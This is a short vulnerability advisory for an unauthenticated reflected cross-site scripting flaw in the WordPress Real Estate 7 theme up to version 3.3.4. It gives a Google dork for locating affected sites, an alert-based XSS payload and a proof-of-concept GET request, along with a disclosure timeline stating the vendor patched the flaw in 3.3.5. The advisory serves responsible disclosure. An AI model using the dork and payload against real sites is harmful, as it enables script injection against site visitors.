WordPress Real Estate 7 Theme versions 3.3.4 and below suffer from a cross site scripting vulnerability.
==== [ Z://USB-00_RESEARCH/WORDPRESS/ ] ============================================= [ 2023 ] ==
Report Title: WordPress Real Estate 7 Theme <= 3.3.4 - Unauthenticated Reflected Cross-Site Scripting (XSS)
Google Dork: inurl:/wp-content/themes/realestate-7/
Research Date: 2023-02-10
Researcher: FearZzZz [ https://fearzzzz.ru ]
Component Vendor: Contempo Themes [ https://contempothemes.com ]
Vulnerable Version: <= 3.3.4
Component Link: https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778
CVSS Base Score: 6.1 (Medium)
CVSS Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Top 10: A7: Cross-Site Scripting (XSS)
#### [ Description: ]
#### [ Impact: ]
#### [ Payloads: ]
<img src=x onerror=(alert)(`FearZzZz`);>
#### [ Proof-of-Concept: ]
GET /?ct_mobile_keyword&ct_keyword=Z&ct_zipcode&search-listings=true&ct_additional_features%5B0%5D=central-forced-air%3Csvg%2Fonload%3Dalert%28%60FearZzZz%60%29%3E HTTP/2
#### [ Timeline: ]
2023.02.08 - Real Estate 7 Theme v3.3.4 released.
2023.02.10 - Vulnerability has been discovered.
2023.02.13 - Vendor notified, received a quick response.
2023.02.13 - Real Estate 7 Theme v3.3.5 released, the vulnerability has been fixed.
#### [ Contacts: ]
Email: [email protected]
#### [ Notes: ]
Special thanks to Chris Robinson (Contempo Themes Founder & CEO) for the quick response and for the respectful communication.
#### [ Disclaimer: ]
The information provided in this report is provided "as is" without warranty of any kind. FearZzZz disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall FearZzZz be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if FearZzZz have been advised of the possibility of such damages.
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